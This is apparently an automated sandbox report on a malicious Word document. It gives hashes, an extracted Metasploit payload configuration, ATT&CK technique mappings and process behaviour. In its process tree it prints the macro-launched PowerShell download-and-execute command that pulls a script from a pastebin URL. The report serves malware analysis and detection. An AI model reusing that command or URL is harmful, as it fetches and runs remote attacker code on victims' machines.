metasploit | 4434e5b7bbd577a0119ddbacb11744a63299646f4b61efebd83e3ef8fb75f49f

General

Target

4434e5b7bbd577a0119ddbacb11744a63299646f4b61efebd83e3ef8fb75f49f.doc
Size

48KB
MD5

33ef79ab8673ac5c7c054b354592b4be
SHA1

cd5c58905c31753f2bc2920053b85de4835fae86
SHA256

4434e5b7bbd577a0119ddbacb11744a63299646f4b61efebd83e3ef8fb75f49f
SHA512

3e8e9572fdaa43df2a7a1ac35985e3a391c4c792db8ff87ccc1c97a14cd17c5cecb04f310f78549d7071008a9b8e73cb848ada677b232a59d4017c63e95ab9bd
SSDEEP

768:LRvwmGuySd63lKBrXlLNO0al7RC4nFF+p0jC+:LVtYSnr1BfiRCEF+pJ+

Score

10^/10

metasploit backdoor discovery execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/5x1V0wCG

Extracted

Family

metasploit

Version

windows/exec

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2688	2680	powershell.exe	29

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2688	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	pastebin.com
5	pastebin.com

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2680	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2680	WINWORD.EXE
2680	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 2788	2680	WINWORD.EXE	30
PID 2680 wrote to memory of 2788	2680	WINWORD.EXE	30
PID 2680 wrote to memory of 2788	2680	WINWORD.EXE	30
PID 2680 wrote to memory of 2788	2680	WINWORD.EXE	30
PID 2680 wrote to memory of 2688	2680	WINWORD.EXE	31
PID 2680 wrote to memory of 2688	2680	WINWORD.EXE	31
PID 2680 wrote to memory of 2688	2680	WINWORD.EXE	31
PID 2680 wrote to memory of 2688	2680	WINWORD.EXE	31

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4434e5b7bbd577a0119ddbacb11744a63299646f4b61efebd83e3ef8fb75f49f.doc"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2788
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "IEX(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/5x1V0wCG')
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

memory/2680-0-0x000000002FB81000-0x000000002FB82000-memory.dmp

Filesize
4KB

Download
memory/2680-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2680-2-0x0000000070D6D000-0x0000000070D78000-memory.dmp

Filesize
44KB

Download
memory/2680-16-0x00000000005F0000-0x00000000006F0000-memory.dmp

Filesize
1024KB

Download
memory/2680-18-0x00000000064C0000-0x00000000065C0000-memory.dmp

Filesize
1024KB

Download
memory/2680-22-0x00000000064C0000-0x00000000065C0000-memory.dmp

Filesize
1024KB

Download
memory/2680-21-0x00000000005F0000-0x00000000006F0000-memory.dmp

Filesize
1024KB

Download
memory/2680-20-0x00000000064C0000-0x00000000065C0000-memory.dmp

Filesize
1024KB

Download
memory/2680-17-0x0000000006610000-0x0000000006611000-memory.dmp

Filesize
4KB

Download
memory/2680-25-0x00000000005F0000-0x00000000006F0000-memory.dmp

Filesize
1024KB

Download
memory/2680-24-0x0000000070D6D000-0x0000000070D78000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads